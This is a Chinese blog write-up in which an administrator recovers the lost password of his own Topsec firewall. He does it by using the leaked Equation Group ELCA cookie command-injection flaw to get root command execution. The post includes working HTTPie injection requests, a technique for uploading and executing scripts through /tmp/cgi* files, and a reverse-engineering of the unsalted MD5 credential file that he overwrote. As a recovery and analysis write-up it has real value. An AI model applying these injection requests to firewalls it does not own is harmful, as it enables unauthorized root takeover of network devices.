天融信防火墙密码恢复手记

公司在用的一款天融信防火墙，密码意外遗失，无法登陆管理平台。虽然防火墙可以正常工作，但却无法修改配置，不能根增加和删除访问列表中的 IP 地址，不能调整访问策略。防火墙默认仅开通 https web 管理界面，未开启 telnet 、 ssh 等其他管理通道。

联系天融信厂家寻求技术支持，被告知必须返厂更换芯片，费用大约在 2000 元左右（网上搜了一下，几乎所有密码遗失的客户最终都只能选择返厂）。公司用于该网络联网的仅此一台防火墙设备，终端数量在 500 以上，无其他硬件备份方案。因用户众多，管理要求细致，防火墙配置非常复杂，保存的配置文件也不是最新的。若返厂维修的话，则无法找到完备的替代方案。

于是决定先自己想办法，开启密码恢复之旅。 Go ！

猜测密码，自动验证

首先想到的是根据可能的密码规则和常用组合，构造一个密码字典，通过编写简单的 Python 脚本进行登录验证。万一不行的话，就穷举来尝试暴力破解。

可是开始跑脚本的时候发现想法实在太天真了，存在两个致命的问题：

1. 防火墙白天负荷过重， Web 响应非常慢。有时候一个请求可能在半分钟以上。
2. Web 管理平台有登录次数限制，大约 6 次密码错误以后，就会锁定账号一段时间。

在尝试了几十个最可能出现的密码组合后，彻底放弃了这条捷径。

看来偷懒是不成了，必须得动真格的。

搜寻漏洞，获取控制权

nmap 扫描发现防火墙只开通了 https 端口。不是专业的安全研究人员，只能在网上搜索该款防火墙的漏洞资料，不(suo)幸的是，还真发现了不少。

找到的第一篇文章 《看我如何在 2 小时内控制 100+天融信安全设备的》 提到了 Heartbleed 漏洞，却未对漏洞利用方式做过多解释。需要更多学习资料，根据这个方向继续搜索，又找到了一些文章：

• NSA Equation Group 泄露的天融信产品漏洞分析（一）
• 天融信率先发布 BASH 爆出高危漏洞规则库
• 天融信防火墙 openssl 漏洞可能导致信息泄漏
• 天融信防火墙关于“方程式组织”漏洞处置公告

其中， NSA Equation Group 那篇文章信息量最高，对漏洞的特征和产生的原因分析的非常透彻，利用方式也做了简要说明。按照文章的提示，用 Brup 进行 Eligible Candidate 漏洞测试（打算用 Postman ，但因 chrome 的 https 证书问题放弃），漏洞果然还在！

怀着激动的心情，尝试了 ls -la />/www/htdocs/1、 find / -type f>/www/htdocs/1 等指令，对防火墙文件系统的目录结构进行初步了解，也看到了配置文件存放的位置。执行 cp /tos/conf/config>/www/htdocs/1 ，把配置文件 down 下来一看，果然是新鲜的味道。

启动 telnetd 服务并尝试连接，报错，估计是没有加特定启动参数的缘故，没做深入研究。看来暂时还是只能通过 https 漏洞方式跑命令了。

随着执行命令次数越来越多， Brup 构造请求的方式效率太低，于是写了简单的 Python 函数在 IPython 下面跑，终觉得灵活性不够。最后决定采用 HTTPie 命令行的方式发送 https 请求（ curl 没有 httpie 方便），后续所有命令都通过这种方式交互。

$ http --verify=no https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`ls -la /tmp>/www/htdocs/1`'

文件上传，执行脚本文件

之前都是一次请求执行一条命令，效率太低，也存在诸多限制。最好的方式是上传一个 sh 脚本在防火墙上执行，这就需要以某种方式传送文件到防火墙上去。

另一方面，根据漏洞名称和 Equation Group 搜索到这篇文章：Equation Group 泄露文件分析，才注意到这是国际顶尖黑客组织，也是 NSA 合作的方程式黑客组织（ Equation Group ），被另一个名为“ The ShadowBrokers ”的黑客组织攻下了，珍藏的系列高级工具被打包分享。这可是个好东西！赶紧下载解密，找到 ELCA 的漏洞利用代码，运行后却发现没有如逾期般的启动 nopen 远程管理软件，原因未知，颇有些失望。不过在 py 源码中看到了文件上传的方式，其实就是利用了 cgi 文件上传处理方式，它每次会在 /tmp 目录下生成一个 cgi*的临时文件。 ELCA 利用代码的流程是连续执行多次指令，第一次 rm /tmp/cgi*清理 tmp 目录，接着 post 上传文件同时复制保存一份 cp /t*/cg* /tmp/.a，再加执行权限 chmod +x /tmp/.a，最后执行 /tmp/.a。

当然，代码并没有直接上传一个可执行文件，而是巧妙（恕见识少，我知道*nix 下经常这样干）的将需要的多个文件用 tar 打包后，附到 sh 脚本的最后。在 sh 脚本中用 dd 命令将 tar 包 copy 出来再解压运行。下面是工具中 stage.sh 的部分代码：

文件 tar 打包的 Python 代码片段：

就我的需求而言，只是上传脚本执行，就不用做得那么复杂了。简单的 post 我的 sh 脚本，同时执行 sh /tmp/cgi*。前提是我的 sh 脚本中都做了清理工作 rm /tmp/cgi*。

http --verify=no -b -f POST https://x.x.x.x/cgi/maincgi.cgi 'Cookie: session_id=x`sh /t*/cg*`' [email protected]; http --verify=no https://x.x.x.x/1

HTTPie 可以用 uploadfilename@localfilename 的方式很方便的实现文件上传。之所以两条指令在一行是为了方便查看前一个脚本的输出。

#!/bin/sh
# 清除 /tmp/cgi*，防止干扰下次运行
rm -f /t*/cgi*

echo =============================== >/www/htdocs/1
date >>/www/htdocs/1

echo "***************" >>/www/htdocs/1
cd /tmp
ps >>/www/htdocs/1
netstat -nltp >>/www/htdocs/1
ls -la /tos/etc /data/auth/db /tmp >>/www/htdocs/1

上面的示例脚本就可以一次进行多种操作，获取进程信息、网络连接情况、目录文件等多种信息，大幅减少交互次数提高效率。

逆向分析，寻找密码

做了很多准备工作，找到了比较便捷的脚本执行方式。而且根据 ps 结果来看，指令是以 root 权限运行的。接下来要开始干正事了，tar cf /home/htdocs/1 / 打包文件系统， down 下来准备逆向分析。因为 web 登录入口指向 maincgi.cgi ，就从它开始。

逆向分析的过程相当繁杂、漫长、枯燥乏味，具有相当的挑战性，所以需要坚定的毅力和不时涌现的灵感。无数次调整思路和方向，无数次寻找新的突破口。

我现在也记不清当初分析时的前因后果，就把一些分析的结果整理下，做一个简单的分享。

入口 maincgi.cgi

maincgi.cgi 位于 /www/cgi/ 目录下。用 IDA 进行逆向分析。

根据登录 form 提交的 username 和 passwd 在 string 窗口搜索， x 跟踪调用情况分析，最终来到 000403D4 函数内。

下面是更容易理解的 C 伪代码（我开始分析的时候没找到可用的 hexrays ，这是事后撰写此文时找到的。:-( 工欲善其事必先利其器啊！）：

可以看到， username 和 passwd 参数都原封不动的传入到 login 函数，想必沿着这个方向一定能找到密码保存的地方。

跟进发现 login 是 import 函数，不在 maincgi.cgi 中实现。为了方便，我把 lib 和 so 目录下所有文件的符号表都进行了分析，结果保存在一个文件中备查。

$ nm -D tos/lib/* tos/so/* > symbols.txt

很快发现 login 函数在 /tos/so/libwebui_tools.so 中实现。

入了 RPC 的坑

本以为找到 libwebui_tools.so 中的 login 实现，一切皆可水落石出。谁料还是 too young, too naive。

根据 export 表很快定位到 login 函数的实现，开始是 TLS 连接 127.0.0.1 ： 4000 ，接着是一堆错误处理代码。

其中有一个 gui_send_reqx 函数的调用参数 CFG_AUTH 引起了我的注意，猜测是一种自定义的类 RPC 实现。

唉，还是 C 伪代码看得清楚啊！再次哭晕在厕所 :-(

既然不是通过本地.so 调用，那只有知道到底是谁提供了这个 rpc 服务，才能找到接下来的路。

好用的 netstat

好在我们有执行代码的权限，好在防火墙里面有 netstat 命令。执行 netstat -nltp >>/www/htdocs/1 得到下面的结果：

一目了然。原来服务是 tos_configd 提供的呀！被 ELCA 漏洞利用脚本误导了，以为是只是一个命令行 shell ，之前跟过，但没有细看。这不，还是要回头找它。

百转千回

tos_configd 分析过程并非一帆风顺。

根据 RPC 传递的参数 CFG_AUTH 作为线索进行追踪，看到 RPC 支持多个命令。当命令为 CFG_AUTH 时，将数字 5 写到参数传入的内存区域某个变量中。没有其他更多的信息，看来只能根据 caller 向上一步步追了。

代码回到 rpc 的消息处理 thread 中，经过逐步分析，定位到消息处理函数中。

跟进去，可以看到大致的处理流程。有一个 switch 过程， case 5 后面就是 CFG_AUTH 的处理代码。 5 就是前面第一个过程中设置的变量。 topsec_manager_auth 函数用于接管用户密码鉴权工作，它是一个 import 函数，按照前面的方法查到它在 /tos/so/libmanager.so 中实现。

胜利的曙光

libmanager 的 export 表非常简练，似乎每一个都让人颇感兴趣。

先看看我们的目标函数 topsec_manager_auth ：

信息量很大，到这里基本上就看到了胜利的曙光。

首先看到的是用户名+密码的 MD5 ，然后传入到 j_match_manager_name 函数中进行校验。这不就是经典的用户名密码校验过程嘛（未加 salt ）。

需要说明一下的是，上图中看到的 username 参数名称是我综合各类分析得知内容后改名的，并不是想当然，更不是 IDA 智能更名。 username+32 是密码明文，这也是在前面的分析过程中得出的结论。

跟进 match_manager_name 函数，并没有立即发现直观的密码文件读取过程。取而代之的是，内存中存在最多 500 个 struct ，其中包含了用户名和 MD5 值，鉴权过程就是与其一一进行匹配比对。 Local_db_dev_node 是一个全局 buffer ，搞清楚它的数据来源就找到根源了。

按 X 查看 Local_db_dev_node 的 reference ，还真不少。

第一个 read_dev_manager_file 就很像，跟进去看一下。

Bingo ！就是它了！ /tos/etc/Tos_dev_manager_info 其实这个文件之前也注意到，不过没曾想它居然保存了鉴权信息，而且是用户名密码拼接 MD5 这么简单！

用 hexdump 查看之前下载的 Tos_dev_manager_info 进行验证，大小 104 字节，与分析得到的 struct 大小完全一致。再看用户名和密码的位置，和分析 Local_db_dev_node 结构完全一致。

清除最后的障碍

终于找到密码保存到文件了，三下五除二，自己设定一个密码，计算 MD5 值，修改 Tos_dev_manager_info 对应的区域。文件上传，覆盖，重启，等结果……

import hashlib
print(hashlib.md5('superman' + '111111').hexdigest())

几分钟后，设备起来了，赶紧试一下密码，错误！！！

郁闷，怎么会呢？ down 下 /tos/etc/Tos_dev_manager_info 一看，还是老数据。看来是工作还没到位。

想起 libmanager 不是有那么多可疑的函数吗？挑感兴趣的进去看看，比如 write_memdata2flash ：

对，就它了。一般网络设备修改配置以后，不都还来一个 wr mem 吗？估计 /data/auth/db/ 才是最终保存数据的地方，/tos/etc 可能重启的时候会重新 copy 覆盖。

再重新上传一次修改好的 Tos_dev_manager_info 文件，只不过这次同时覆盖了几个目录下的文件。重启，用设定的密码登录，搞定！！！

走过的弯路

当然，我分析过的文件远不止上面这些，也不是按照本文的思路一步一步走下来，走了不少弯路。凭感觉，或为了寻找新线索，或漫无目的地毯式搜索。除了上面列举的部分之外，还分析过其他几个.so 文件，跟踪过上百个函数，多数与我需要的东西关系并不太大。

逆向分析就是这样，不可能一帆风顺，也没有既定的方法和思路。就是要有一种执着的精神，在不断的尝试、纠错和总结过程中达到目的地。成功后那一刻豁然开朗的成就感一直是我所痴迷的。

关于 MD5 破解不得不说的事

既然知道了算法，也有了 MD5 数据，是不是可以真正的找回当初的密码呢？

和第一步猜测密码类似，用 python 按照一定规则，生成可能的密码序列。调用 hashlib.md5() 计算 hash 值与目标进行比对，结果跑了一天没结果。

想着这种计算密集型的程序，在 python 和 c 之间切换太频繁可能影响效率。又在网上找到一个 Fast MD5 hash implementation in x86 assembly 汇编实现的快速算法，并且根据实际需求做了一定的优化。运行，依然无结果。

不甘心，再到网上搜索资料，发现人家都用 GPU 跑字典。好吧，我也找来一个 Hashcat，在 i5 8G 内存 的 iMac 上试跑，的确速度非常快。然而，由于密码长，计算量过大，最终也没跑出结果，就此作罢。

现在想想，如果没有密码长度、规则等任何信息的话，光凭暴力破解一个非典型密码，几乎是 Mission Impossible 。

搞定，收工

很久没写过长文，也没发过技术类文章。上一次可能要追溯到 2001 年 8 月的时候，曾以打鸡血似的饱满激情写过一篇软件逆向习作。

此次防火墙密码成功恢复，其漏洞功不可没。对我而言，又重温了一把当初年少时对技术的执着。

最后，小结一下：

• 软件逆向分析是个体力活。
• 工欲善其事必先利其器。
• 安全问题无时无刻不在。